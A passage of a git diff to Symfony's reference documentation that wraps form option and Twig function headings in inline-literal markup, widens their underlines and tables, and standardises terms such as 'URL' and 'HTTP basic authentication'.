index 86a72432cb3..7595b0efc90 100644
--- a/reference/forms/types/options/multiple.rst.inc
+++ b/reference/forms/types/options/multiple.rst.inc
@@ -1,5 +1,5 @@
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/placeholder.rst.inc b/reference/forms/types/options/placeholder.rst.inc
index b5b13f06844..5920cefbb52 100644
--- a/reference/forms/types/options/placeholder.rst.inc
+++ b/reference/forms/types/options/placeholder.rst.inc
@@ -1,5 +1,5 @@
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` or ``boolean``
 
diff --git a/reference/forms/types/options/post_max_size_message.rst.inc b/reference/forms/types/options/post_max_size_message.rst.inc
index be8612e6bc1..1e895f91f72 100644
--- a/reference/forms/types/options/post_max_size_message.rst.inc
+++ b/reference/forms/types/options/post_max_size_message.rst.inc
@@ -1,5 +1,5 @@
-post_max_size_message
-~~~~~~~~~~~~~~~~~~~~~
+``post_max_size_message``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The uploaded file was too large. Please try to upload a smaller file.``
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 3d5d8567543..d1884c3456e 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -1,5 +1,5 @@
-preferred_choices
-~~~~~~~~~~~~~~~~~
+``preferred_choices``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array``, ``callable`` or ``string`` **default**: ``[]``
 
diff --git a/reference/forms/types/options/property_path.rst.inc b/reference/forms/types/options/property_path.rst.inc
index 95d5f6547ca..7a41eede1af 100644
--- a/reference/forms/types/options/property_path.rst.inc
+++ b/reference/forms/types/options/property_path.rst.inc
@@ -1,5 +1,5 @@
-property_path
-~~~~~~~~~~~~~
+``property_path``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``any`` **default**: ``the field's name``
 
diff --git a/reference/forms/types/options/required.rst.inc b/reference/forms/types/options/required.rst.inc
index f7712114b08..41d4e347de6 100644
--- a/reference/forms/types/options/required.rst.inc
+++ b/reference/forms/types/options/required.rst.inc
@@ -1,5 +1,5 @@
-required
-~~~~~~~~
+``required``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc
index 49d038bc686..0d2ec3d6dbc 100644
--- a/reference/forms/types/options/scale.rst.inc
+++ b/reference/forms/types/options/scale.rst.inc
@@ -1,5 +1,5 @@
-scale
-~~~~~
+``scale``
+~~~~~~~~~
 
 **type**: ``integer`` **default**: Locale-specific (usually around ``3``)
 
diff --git a/reference/forms/types/options/seconds.rst.inc b/reference/forms/types/options/seconds.rst.inc
index 7acbf39025c..d3f4dd828d1 100644
--- a/reference/forms/types/options/seconds.rst.inc
+++ b/reference/forms/types/options/seconds.rst.inc
@@ -1,5 +1,5 @@
-seconds
-~~~~~~~
+``seconds``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: 0 to 59
 
diff --git a/reference/forms/types/options/translation_domain.rst.inc b/reference/forms/types/options/translation_domain.rst.inc
index a045de50214..a91b331e7a3 100644
--- a/reference/forms/types/options/translation_domain.rst.inc
+++ b/reference/forms/types/options/translation_domain.rst.inc
@@ -1,5 +1,5 @@
-translation_domain
-~~~~~~~~~~~~~~~~~~
+``translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``, ``null`` or ``false``  **default**: ``null``
 
diff --git a/reference/forms/types/options/trim.rst.inc b/reference/forms/types/options/trim.rst.inc
index 8d96380ee4a..a1523e95b09 100644
--- a/reference/forms/types/options/trim.rst.inc
+++ b/reference/forms/types/options/trim.rst.inc
@@ -1,5 +1,5 @@
-trim
-~~~~
+``trim``
+~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index edff4f733f1..dd9efcd8967 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -1,5 +1,5 @@
-validation_groups
-~~~~~~~~~~~~~~~~~
+``validation_groups``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array``, ``string``, ``callable``, :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequence` or ``null`` **default**: ``null``
 
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index 6c94904764f..ddbfff6660d 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -1,5 +1,5 @@
-value
-~~~~~
+``value``
+~~~~~~~~~
 
 **type**: ``mixed`` **default**: ``1``
 
diff --git a/reference/forms/types/options/view_timezone.rst.inc b/reference/forms/types/options/view_timezone.rst.inc
index 9d94eac7277..917f519e8aa 100644
--- a/reference/forms/types/options/view_timezone.rst.inc
+++ b/reference/forms/types/options/view_timezone.rst.inc
@@ -1,5 +1,5 @@
-view_timezone
-~~~~~~~~~~~~~
+``view_timezone``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: system default timezone
 
diff --git a/reference/forms/types/options/with_minutes.rst.inc b/reference/forms/types/options/with_minutes.rst.inc
index 636a2c7a3c1..5749f1a32e1 100644
--- a/reference/forms/types/options/with_minutes.rst.inc
+++ b/reference/forms/types/options/with_minutes.rst.inc
@@ -1,5 +1,5 @@
-with_minutes
-~~~~~~~~~~~~
+``with_minutes``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/forms/types/options/with_seconds.rst.inc b/reference/forms/types/options/with_seconds.rst.inc
index a5c547fa183..fef7ac1a028 100644
--- a/reference/forms/types/options/with_seconds.rst.inc
+++ b/reference/forms/types/options/with_seconds.rst.inc
@@ -1,5 +1,5 @@
-with_seconds
-~~~~~~~~~~~~
+``with_seconds``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/options/years.rst.inc b/reference/forms/types/options/years.rst.inc
index 3c4655697f6..5749c274d66 100644
--- a/reference/forms/types/options/years.rst.inc
+++ b/reference/forms/types/options/years.rst.inc
@@ -1,5 +1,5 @@
-years
-~~~~~
+``years``
+~~~~~~~~~
 
 **type**: ``array`` **default**: five years before to five years after the
 current year
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 6506f4c8605..d72a4b77728 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -32,8 +32,8 @@ The ``PasswordType`` field renders an input password text box.
 Field Options
 -------------
 
-always_empty
-~~~~~~~~~~~~
+``always_empty``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -47,8 +47,8 @@ entered into the box, set this to false and submit the form.
 Overridden Options
 ------------------
 
-trim
-~~~~
+``trim``
+~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 3c1b1576499..3bd10d2ec1f 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -41,16 +41,16 @@ This field adds a percentage sign "``%``" after the input box.
 Field Options
 -------------
 
-scale
-~~~~~
+``scale``
+~~~~~~~~~
 
 **type**: ``integer`` **default**: ``0``
 
 By default, the input numbers are rounded. To allow for more decimal places,
 use this option.
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``fractional``
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index d1f339b8b70..f3ac4242a91 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -101,8 +101,8 @@ be displayed when the two fields do not match each other.
 Field Options
 -------------
 
-first_name
-~~~~~~~~~~
+``first_name``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``first``
 
@@ -112,8 +112,8 @@ will be available under the key assigned to the ``RepeatedType`` field itself
 (e.g.  ``password``). However, if you don't specify a label, this field
 name is used to "guess" the label for you.
 
-first_options
-~~~~~~~~~~~~~
+``first_options``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -129,8 +129,8 @@ the label::
         'second_options' => ['label' => 'Repeat Password'],
     ]);
 
-options
-~~~~~~~
+``options``
+~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -140,15 +140,15 @@ types. For example, if the ``type`` option is set to ``password``, this
 array might contain the options ``always_empty`` or ``required`` - both
 options that are supported by the ``PasswordType`` field.
 
-second_name
-~~~~~~~~~~~
+``second_name``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``second``
 
 The same as ``first_name``, but for the second field.
 
-second_options
-~~~~~~~~~~~~~~
+``second_options``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -156,8 +156,8 @@ Additional options (will be merged into `options`_ above) that should be
 passed *only* to the second field. This is especially useful for customizing
 the label (see `first_options`_).
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``Symfony\Component\Form\Extension\Core\Type\TextType``
 
@@ -167,8 +167,8 @@ The two underlying fields will be of this field type. For example, passing
 Overridden Options
 ------------------
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 4e5053957ef..2502d75c166 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -22,8 +22,8 @@ A button that resets all fields to their original values.
 Inherited Options
 -----------------
 
-attr
-~~~~
+``attr``
+~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 488224d2309..cd4cbe55cc7 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -33,8 +33,8 @@ useful when :doc:`a form has multiple submit buttons </form/multiple_buttons>`::
 Inherited Options
 -----------------
 
-attr
-~~~~
+``attr``
+~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -57,8 +57,8 @@ as a key. This can be useful when you need to set a custom class for the button:
 
 .. include:: /reference/forms/types/options/button_translation_domain.rst.inc
 
-validation_groups
-~~~~~~~~~~~~~~~~~
+``validation_groups``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``null``
 
@@ -89,8 +89,8 @@ from the "Registration" are validated.
 Form Variables
 --------------
 
-========  ===========  ==============================================================
-Variable  Type         Usage
-========  ===========  ==============================================================
-clicked   ``boolean``  Whether the button is clicked or not.
-========  ===========  ==============================================================
+============  ===========  ==============================================================
+Variable      Type         Usage
+============  ===========  ==============================================================
+``clicked``   ``boolean``  Whether the button is clicked or not.
+============  ===========  ==============================================================
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 7aaf959b00a..2ff0c5c1ebe 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -30,7 +30,7 @@ Renders a ``textarea`` HTML element.
 .. tip::
 
     If you prefer to use an **advanced WYSIWYG editor** instead of a plain
-    textarea, consider using the FOSCKEditorBundle community bundle. Read
+    ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
 Inherited Options
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 75b9fd00c7f..8f642c3a35b 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -64,7 +64,7 @@ field as two different choice fields::
     ]);
 
 The ``input`` option *must* be changed to match the type of the underlying
-date data. For example, if the ``startTime`` field's data were a unix timestamp,
+date data. For example, if the ``startTime`` field's data were a Unix timestamp,
 you'd need to set ``input`` to ``timestamp``::
 
     use Symfony\Component\Form\Extension\Core\Type\TimeType;
@@ -83,8 +83,8 @@ Field Options
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
 
-placeholder
-~~~~~~~~~~~
+``placeholder``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` | ``array``
 
@@ -109,8 +109,8 @@ values for the hour, minute and second fields::
 
 .. include:: /reference/forms/types/options/html5.rst.inc
 
-input
-~~~~~
+``input``
+~~~~~~~~~
 
 **type**: ``string`` **default**: ``datetime``
 
@@ -133,8 +133,8 @@ this format.
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
-widget
-~~~~~~
+``widget``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``choice``
 
@@ -164,8 +164,8 @@ following:
 Overridden Options
 ------------------
 
-by_reference
-~~~~~~~~~~~~
+``by_reference``
+~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -175,8 +175,8 @@ The ``DateTime`` classes are treated as immutable objects.
 
 .. include:: /reference/forms/types/options/data_class_date.rst.inc
 
-error_bubbling
-~~~~~~~~~~~~~~
+``error_bubbling``
+~~~~~~~~~~~~~~~~~~
 
 **default**: ``false``
 
@@ -202,15 +202,15 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 Form Variables
 --------------
 
-+--------------+-------------+----------------------------------------------------------------------+
-| Variable     | Type        | Usage                                                                |
-+==============+=============+======================================================================+
-| widget       | ``mixed``   | The value of the `widget`_ option.                                   |
-+--------------+-------------+----------------------------------------------------------------------+
-| with_minutes | ``boolean`` | The value of the `with_minutes`_ option.                             |
-+--------------+-------------+----------------------------------------------------------------------+
-| with_seconds | ``boolean`` | The value of the `with_seconds`_ option.                             |
-+--------------+-------------+----------------------------------------------------------------------+
-| type         | ``string``  | Only present when widget is ``single_text`` and HTML5 is activated,  |
-|              |             | contains the input type to use (``datetime``, ``date`` or ``time``). |
-+--------------+-------------+----------------------------------------------------------------------+
++------------------+-------------+----------------------------------------------------------------------+
+| Variable         | Type        | Usage                                                                |
++==================+=============+======================================================================+
+| ``widget``       | ``mixed``   | The value of the `widget`_ option.                                   |
++------------------+-------------+----------------------------------------------------------------------+
+| ``with_minutes`` | ``boolean`` | The value of the `with_minutes`_ option.                             |
++------------------+-------------+----------------------------------------------------------------------+
+| ``with_seconds`` | ``boolean`` | The value of the `with_seconds`_ option.                             |
++------------------+-------------+----------------------------------------------------------------------+
+| ``type``         | ``string``  | Only present when widget is ``single_text`` and HTML5 is activated,  |
+|                  |             | contains the input type to use (``datetime``, ``date`` or ``time``). |
++------------------+-------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 7faba6a26d1..90954893086 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -52,8 +52,8 @@ manually, but then you should just use the ``ChoiceType`` directly.
 Field Options
 -------------
 
-input
-~~~~~
+``input``
+~~~~~~~~~
 
 **type**: ``string`` **default**: ``string``
 
@@ -63,8 +63,8 @@ on your underlying object. Valid values are:
 * ``string`` (e.g. ``America/New_York``)
 * ``datetimezone`` (a ``DateTimeZone`` object)
 
-regions
-~~~~~~~
+``regions``
+~~~~~~~~~~~
 
 **type**: ``int`` **default**: ``\DateTimeZone::ALL``
 
@@ -73,8 +73,8 @@ The available regions in the timezone choice list. For example: ``DateTimeZone::
 Overridden Options
 ------------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **default**: An array of timezones.
 
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 8c58f007e1d..29d889e9ed6 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -33,8 +33,8 @@ have a protocol.
 Field Options
 -------------
 
-default_protocol
-~~~~~~~~~~~~~~~~
+``default_protocol``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``http``
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 45af378af9d..f38bf754c4d 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -35,8 +35,8 @@ Functions
 
 .. _reference-twig-function-render:
 
-render
-~~~~~~
+``render``
+~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -65,8 +65,8 @@ The render strategy can be specified in the ``strategy`` key of the options.
 
 .. _reference-twig-function-render-esi:
 
-render_esi
-~~~~~~~~~~
+``render_esi``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -85,11 +85,11 @@ falls back to the behavior of `render`_ otherwise.
 
     The ``render_esi()`` function is an example of the shortcut functions
     of ``render``. It automatically sets the strategy based on what's given
-    in the function name, e.g. ``render_hinclude()`` will use the hinclude.js
+    in the function name, e.g. ``render_hinclude()`` will use the HInclude
     strategy. This works for all ``render_*()`` functions.
 
-controller
-~~~~~~~~~~
+``controller``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -106,8 +106,8 @@ Returns an instance of ``ControllerReference`` to be used with functions
 like :ref:`render() <reference-twig-function-render>` and
 :ref:`render_esi() <reference-twig-function-render-esi>`.
 
-asset
-~~~~~
+``asset``
+~~~~~~~~~
 
 .. code-block:: twig
 
@@ -125,8 +125,8 @@ implementations via the :ref:`reference-framework-assets-version`,
 :ref:`reference-assets-version-strategy`, and
 :ref:`reference-assets-json-manifest-path` configuration options.
 
-asset_version
-~~~~~~~~~~~~~~
+``asset_version``
+~~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -138,8 +138,8 @@ asset_version
 Returns the current version of the package, more information in
 :ref:`templating-assets`.
 
-form
-~~~~
+``form``
+~~~~~~~~
 
 .. code-block:: twig
 
@@ -153,8 +153,8 @@ form
 Renders the HTML of a complete form, more information in
 :ref:`the Twig Form reference <reference-forms-twig-form>`.
 
-form_start
-~~~~~~~~~~
+``form_start``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -168,8 +168,8 @@ form_start
 Renders the HTML start tag of a form, more information in
 :ref:`the Twig Form reference <reference-forms-twig-start>`.
 
-form_end
-~~~~~~~~
+``form_end``
+~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -184,8 +184,8 @@ Renders the HTML end tag of a form together with all fields that have not
 been rendered yet, more information in
 :ref:`the Twig Form reference <reference-forms-twig-end>`.
 
-form_widget
-~~~~~~~~~~~
+``form_widget``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -199,8 +199,8 @@ form_widget
 Renders a complete form or a specific HTML widget of a field, more information
 in :ref:`the Twig Form reference <reference-forms-twig-widget>`.
 
-form_errors
-~~~~~~~~~~~
+``form_errors``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -212,8 +212,8 @@ form_errors
 Renders any errors for the given field or the global errors, more information
 in :ref:`the Twig Form reference <reference-forms-twig-errors>`.
 
-form_label
-~~~~~~~~~~
+``form_label``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -229,8 +229,8 @@ form_label
 Renders the label for the given field, more information in
 :ref:`the Twig Form reference <reference-forms-twig-label>`.
 
-form_row
-~~~~~~~~
+``form_row``
+~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -244,8 +244,8 @@ form_row
 Renders the row (the field's label, errors and widget) of the given field,
 more information in :ref:`the Twig Form reference <reference-forms-twig-row>`.
 
-form_rest
-~~~~~~~~~
+``form_rest``
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -259,8 +259,8 @@ form_rest
 Renders all fields that have not yet been rendered, more information in
 :ref:`the Twig Form reference <reference-forms-twig-rest>`.
 
-csrf_token
-~~~~~~~~~~
+``csrf_token``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -272,8 +272,8 @@ csrf_token
 Renders a CSRF token. Use this function if you want CSRF protection without
 creating a form.
 
-is_granted
-~~~~~~~~~~
+``is_granted``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -298,8 +298,8 @@ can be found in :ref:`security-template`.
     You can also pass in the field to use ACE for a specific field. Read
     more about this in :ref:`security-acl-field_scope`.
 
-logout_path
-~~~~~~~~~~~
+``logout_path``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -311,8 +311,8 @@ logout_path
 Generates a relative logout URL for the given firewall. If no key is provided,
 the URL is generated for the current firewall the user is logged into.
 
-logout_url
-~~~~~~~~~~
+``logout_url``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -324,8 +324,8 @@ logout_url
 Equal to the `logout_path`_ function, but it'll generate an absolute URL
 instead of a relative one.
 
-path
-~~~~
+``path``
+~~~~~~~~
 
 .. code-block:: twig
 
@@ -346,8 +346,8 @@ path. More information in :ref:`templating-pages`.
 
     Read :doc:`/routing` to learn more about the Routing component.
 
-url
-~~~
+``url``
+~~~~~~~
 
 .. code-block:: twig
 
@@ -368,8 +368,8 @@ information in :ref:`templating-pages`.
 
     Read :doc:`/routing` to learn more about the Routing component.
 
-absolute_url
-~~~~~~~~~~~~
+``absolute_url``
+~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -390,8 +390,8 @@ you're on the following page in your app:
     {{ absolute_url('products_icon.png') }}
     {# http://example.com/products/products_icon.png #}
 
-relative_path
-~~~~~~~~~~~~~
+``relative_path``
+~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -412,8 +412,8 @@ you're on the following page in your app:
     {{ relative_path('http://example.com/products/products_icon.png') }}
     {# products_icon.png #}
 
-expression
-~~~~~~~~~~
+``expression``
+~~~~~~~~~~~~~~
 
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` in
 Twig. See ":ref:`Template Expressions <security-template-expression>`".
@@ -425,8 +425,8 @@ Filters
 
 .. _reference-twig-humanize-filter:
 
-humanize
-~~~~~~~~
+``humanize``
+~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -439,8 +439,8 @@ Makes a technical name human readable (i.e. replaces underscores by spaces
 or transforms camelCase text like ``helloWorld`` to ``hello world``
 and then capitalizes the string).
 
-trans
-~~~~~
+``trans``
+~~~~~~~~~
 
 .. code-block:: twig
 
@@ -458,8 +458,8 @@ trans
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
-transchoice
-~~~~~~~~~~~
+``transchoice``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -479,8 +479,8 @@ transchoice
 Translates the text with pluralization support. More information in
 :ref:`Translation Filters <translation-filters>`.
 
-yaml_encode
-~~~~~~~~~~~
+``yaml_encode``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -496,8 +496,8 @@ yaml_encode
 Transforms the input into YAML syntax. See :ref:`components-yaml-dump` for
 more information.
 
-yaml_dump
-~~~~~~~~~
+``yaml_dump``
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -513,8 +513,8 @@ yaml_dump
 Does the same as `yaml_encode() <yaml_encode>`_, but includes the type in
 the output.
 
-abbr_class
-~~~~~~~~~~
+``abbr_class``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -526,8 +526,8 @@ abbr_class
 Generates an ``<abbr>`` element with the short name of a PHP class (the
 FQCN will be shown in a tooltip when a user hovers over the element).
 
-abbr_method
-~~~~~~~~~~~
+``abbr_method``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -540,8 +540,8 @@ Generates an ``<abbr>`` element using the ``FQCN::method()`` syntax. If
 ``method`` is ``Closure``, ``Closure`` will be used instead and if ``method``
 doesn't have a class name, it's shown as a function (``method()``).
 
-format_args
-~~~~~~~~~~~
+``format_args``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -552,8 +552,8 @@ format_args
 
 Generates a string with the arguments and their types (within ``<em>`` elements).
 
-format_args_as_text
-~~~~~~~~~~~~~~~~~~~
+``format_args_as_text``
+~~~~~~~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -564,8 +564,8 @@ format_args_as_text
 
 Equal to the `format_args`_ filter, but without using HTML tags.
 
-file_excerpt
-~~~~~~~~~~~~
+``file_excerpt``
+~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -582,8 +582,8 @@ Generates an excerpt of a code file around the given ``line`` number. The
 ``srcContext`` argument defines the total number of lines to display around the
 given line number (use ``-1`` to display the whole file).
 
-format_file
-~~~~~~~~~~~
+``format_file``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -600,8 +600,8 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.root_dir`` (showing the full path in a tooltip on hover).
 
-format_file_from_text
-~~~~~~~~~~~~~~~~~~~~~
+``format_file_from_text``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -612,8 +612,8 @@ format_file_from_text
 
 Uses `format_file`_ to improve the output of default PHP errors.
 
-file_link
-~~~~~~~~~
+``file_link``
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -632,8 +632,8 @@ a preconfigured scheme.
 Tags
 ----
 
-form_theme
-~~~~~~~~~~
+``form_theme``
+~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -648,8 +648,8 @@ Sets the resources to override the form theme for the given form view instance.
 You can use ``_self`` as resources to set it to the current resource. More
 information in :doc:`/form/form_customization`.
 
-trans
-~~~~~
+``trans``
+~~~~~~~~~
 
 .. code-block:: twig
 
@@ -664,8 +664,8 @@ trans
 
 Renders the translation of the content. More information in :ref:`translation-tags`.
 
-transchoice
-~~~~~~~~~~~
+``transchoice``
+~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -683,8 +683,8 @@ transchoice
 Renders the translation of the content with pluralization support, more
 information in :ref:`translation-tags`.
 
-trans_default_domain
-~~~~~~~~~~~~~~~~~~~~
+``trans_default_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -695,8 +695,8 @@ trans_default_domain
 
 This will set the default domain in the current template.
 
-stopwatch
-~~~~~~~~~
+``stopwatch``
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -710,8 +710,8 @@ of the WebProfilerBundle.
 Tests
 -----
 
-selectedchoice
-~~~~~~~~~~~~~~
+``selectedchoice``
+~~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -725,8 +725,8 @@ selectedchoice
 Checks if ``selectedValue`` was checked for the provided choice field. Using
 this test is the most effective way.
 
-rootform
-~~~~~~~~
+``rootform``
+~~~~~~~~~~~~
 
 .. code-block:: twig
 
@@ -746,8 +746,8 @@ Global Variables
 
 .. _reference-twig-global-app:
 
-app
-~~~
+``app``
+~~~~~~~
 
 The ``app`` variable is available everywhere and gives access to many commonly
 needed objects and values. It is an instance of
diff --git a/routing/hostname_pattern.rst b/routing/hostname_pattern.rst
index 7656c011e52..ec92f027edb 100644
--- a/routing/hostname_pattern.rst
+++ b/routing/hostname_pattern.rst
@@ -408,7 +408,7 @@ Testing your Controllers
 ------------------------
 
 You need to set the Host HTTP header on your request objects if you want to get
-past url matching in your functional tests::
+past URL matching in your functional tests::
 
     $crawler = $client->request(
         'GET',
diff --git a/routing/redirect_in_config.rst b/routing/redirect_in_config.rst
index b32573d85ce..72a8f883955 100644
--- a/routing/redirect_in_config.rst
+++ b/routing/redirect_in_config.rst
@@ -18,7 +18,7 @@ Redirecting Using a Path
 Assume there is no default controller for the ``/`` path of your application
 and you want to redirect these requests to ``/app``. You will need to use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\RedirectController::urlRedirectAction`
-action to redirect to this new url:
+action to redirect to this new URL:
 
 .. configuration-block::
 
diff --git a/security.rst b/security.rst
index 6a5337e2bd3..9b75df1e8e5 100644
--- a/security.rst
+++ b/security.rst
@@ -32,8 +32,8 @@ like :ref:`logging out <security-logging-out>` and
 .. _security-firewalls:
 .. _firewalls-authentication:
 
-1) Initial security.yml Setup (Authentication)
-----------------------------------------------
+1) Initial ``security.yml`` Setup (Authentication)
+--------------------------------------------------
 
 The security system is configured in ``app/config/security.yml``. The default
 configuration looks like this:
@@ -272,7 +272,7 @@ user to be logged in to access this URL:
     You'll learn more about this ``ROLE_ADMIN`` thing and denying access
     later in the :ref:`security-authorization` section.
 
-Great! Now, if you go to ``/admin``, you'll see the HTTP basic auth prompt:
+Great! Now, if you go to ``/admin``, you'll see the HTTP basic authentication prompt:
 
 .. image:: /_images/security/http_basic_popup.png
    :align: center
@@ -609,7 +609,7 @@ D) Configuration Done!
 ~~~~~~~~~~~~~~~~~~~~~~
 
 Congratulations! You now have a working authentication system that uses HTTP
-basic auth and loads users right from the ``security.yml`` file.
+basic authentication and loads users right from the ``security.yml`` file.
 
 Your next steps depend on your setup:
 
@@ -1110,7 +1110,7 @@ Logging Out
 
 .. caution::
 
-    Notice that when using http-basic authenticated firewalls, there is no
+    Notice that when using HTTP basic authenticated firewalls, there is no
     real  way to log out : the only way to *log out* is to have the browser
     stop sending your name and password  on every request. Clearing your
     browser cache or restarting your browser usually helps. Some web developer
@@ -1203,7 +1203,7 @@ Next, you'll need to create a route for this URL (but not a controller):
         return $routes;
 
 And that's it! By sending a user to ``/logout`` (or whatever you configure
-the ``path`` to be), Symfony will un-authenticate the current user.
+the ``path`` to be), Symfony will unauthenticate the current user.
 
 Once the user has been logged out, they will be redirected to whatever path
 is defined by the ``target`` parameter above (e.g. the ``homepage``).
diff --git a/security/access_control.rst b/security/access_control.rst
